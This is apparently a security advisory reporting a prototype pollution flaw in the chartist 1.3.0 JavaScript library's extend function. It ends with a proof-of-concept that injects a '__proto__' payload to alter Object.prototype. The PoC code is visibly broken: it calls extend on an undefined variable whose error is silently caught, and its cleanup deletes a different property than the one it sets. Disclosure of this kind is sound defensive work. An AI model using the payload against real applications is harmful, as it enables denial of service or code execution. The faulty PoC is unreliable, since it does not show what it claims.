mestrtee/Advisory_chartist-js.md

## Advisory_chartist-js.md

      
    Raw
  

              Advisory_chartist-js.md
            
          
    Vulnerability type:
Prototype Pollution
Vendor of the Package:
chartist-js
Affected Package:

Product: chartist
Version: 1.3.0

Affected component(s):
extend
Attack vector(s):
the attacker can modify built-in Object.prototype by calling the vulnerable function: extend with an argument containing a special property __proto__ to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.
Description:
Affected versions of this package are vulnerable to Prototype Pollution through the vulnerable function: extend. An attacker can alter the behavior of all objects inheriting from the affected prototype by passing arguments to the vulenrable function crafted with the built-in property: __proto__. The attack can potentially escalated to Denial of service, remote code execution or cross-site scripting attacks depends on the gadgets that may affected by the attack
Proof-of-Concept:
(async () => {
  const lib = await import('chartist');

  var victim = {}

  console.log("Before Attack: ", JSON.stringify(victim.__proto__));

  try {

  lib.extend (emptyObj, JSON.parse('{"__proto__":{"test":123}}'))

  } catch (e) { }

  console.log("After Attack: ", JSON.stringify(victim.__proto__));

  delete Object.prototype.polluted;

  })();